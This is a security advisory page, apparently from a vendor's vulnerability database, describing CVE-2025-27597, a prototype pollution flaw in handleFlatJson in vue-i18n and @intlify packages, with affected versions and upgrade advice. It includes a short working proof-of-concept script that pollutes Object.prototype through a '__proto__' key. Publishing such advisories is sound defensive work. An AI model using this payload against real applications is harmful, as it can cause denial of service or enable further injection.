Summary
Vue I18n Allows Prototype Pollution in handleFlatJson
Vulnerability type:
Prototype Pollution
Vulnerability Location(s):
# v9.1
node_modules/@intlify/message-resolver/index.js
# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js
Description:
The latest version of @intlify/message-resolver (9.1) and @intlify/vue-i18n-core (9.2 or later), (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) handleFlatJson. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
// poc.js
(async () => {
const lib = await import('@intlify/message-resolver');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
@intlify/message-resolver to 9.1.11 or later; @intlify/vue-i18n-core to 9.14.3 or later; petite-vue-i18n to 10.0.6 or later; vue-i18n to 9.14.3 or later; @intlify/core-base to 9.1.11 or later; @intlify/core to 9.1.11 or later; @intlify/vue-i18n-core to 11.1.2 or later; @intlify/vue-i18n-core to 11.1.2 or later; petite-vue-i18n to 11.1.2 or later; vue-i18n to 10.0.6 or later; vue-i18n to 11.1.2 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-27597? CVE-2025-27597 is a high-severity security vulnerability in @intlify/message-resolver (npm), affecting versions >= 9.1.0, < 9.1.11. It is fixed in 9.1.11, 9.14.3, 10.0.6, 11.1.2.
- Which packages are affected by CVE-2025-27597?
@intlify/message-resolver(npm) (versions >= 9.1.0, < 9.1.11)@intlify/vue-i18n-core(npm) (versions >= 9.2.0, < 9.14.3)petite-vue-i18n(npm) (versions >= 10.0.0, < 10.0.6)vue-i18n(npm) (versions >= 9.1.0, < 9.14.3)@intlify/core-base(npm) (versions >= 9.1.0, < 9.1.11)@intlify/core(npm) (versions >= 9.1.0, < 9.1.11)
- Is there a fix for CVE-2025-27597? Yes. CVE-2025-27597 is fixed in 9.1.11, 9.14.3, 10.0.6, 11.1.2. Upgrade to this version or later.
- Is CVE-2025-27597 exploitable, and should I be worried? Whether CVE-2025-27597 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-27597 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-27597?
- Upgrade
@intlify/message-resolverto 9.1.11 or later - Upgrade
@intlify/vue-i18n-coreto 9.14.3 or later - Upgrade
petite-vue-i18nto 10.0.6 or later - Upgrade
vue-i18nto 9.14.3 or later - Upgrade
@intlify/core-baseto 9.1.11 or later - Upgrade
@intlify/coreto 9.1.11 or later - Upgrade
@intlify/vue-i18n-coreto 11.1.2 or later - Upgrade
@intlify/vue-i18n-coreto 11.1.2 or later - Upgrade
petite-vue-i18nto 11.1.2 or later - Upgrade
vue-i18nto 10.0.6 or later - Upgrade
vue-i18nto 11.1.2 or later
- Upgrade